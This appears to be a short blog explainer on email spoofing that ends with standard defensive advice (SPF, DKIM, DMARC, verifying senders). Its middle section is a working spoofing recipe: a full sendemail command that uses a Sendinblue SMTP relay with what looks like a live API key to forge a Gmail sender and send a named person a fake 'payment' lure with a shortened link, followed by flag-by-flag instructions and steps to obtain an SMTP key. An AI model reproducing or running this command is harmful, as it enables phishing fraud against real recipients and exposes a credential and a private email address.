What is Email Spoofing?
Email spoofing is a type of cyber-attack where someone disguises themselves as a trusted source by falsifying the sender information in an email. The attacker “spoofs” or forges the email header to make it look like the email comes from a legitimate source, such as a bank, government agency, or familiar contact. The recipient, seeing a trusted name or brand, may be more likely to open the email, click on links, or even share personal information, making it a powerful tool for phishing and other scams.
Why Do Attackers Use Email Spoofing?
The main goal of email spoofing is deception. By tricking recipients into believing that a message is from a legitimate sender, attackers can:
- Phish for sensitive data, such as passwords, credit card numbers, or social security numbers.
- Spread malware or ransomware through attachments or malicious links.
- Conduct business email compromise (BEC) attacks, especially targeting high-value targets like executives and finance personnel.
How is Email Spoofing Done?
sendemail -hh
sendemail -xu mechaniconwheels4u@gmail.com -xp xsmtpsib-b9607cbb98c1764900faf234c89acc2d449f6058892c3707b726d1f95623c492-fFbvaSR1zqgHXt47 -s smtp-relay.sendinblue.com:587 -f prmotorsports@gmail.com -t biswas.anjan@gmail.com -u you have a new payment! -m you got 10,000 usd from whitehadinsight. click here to get the payment. https://cutt.ly/djkfhkjsdh -o message-header=””From PRMOTORSPORTS Support < prmotorsports@gmail.com >”
-xu: hacker’s original email
-xp: smtp api (signup sendinblue.com > Transactional > settings > configuration > Get Your SMTP key > create smtp key > use the key)
-s: smtp-relay.sendinblue.com:587
-f: spoofing email like bank email
-t: target email
-u: email subject
-m: email message or body text
-o: email header
How to Protect Yourself from Email Spoofing
While email spoofing is sophisticated, there are several ways to protect yourself:
- Enable Email Authentication Protocols: These include SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance). They help verify that the email is coming from the correct source.
- Be Skeptical of Unsolicited Emails: Avoid clicking links or downloading attachments from unknown sources. Look for telltale signs of phishing.
- Verify with the Sender Directly: If you receive a suspicious email, contact the sender through a different channel (such as a phone call) to confirm its legitimacy.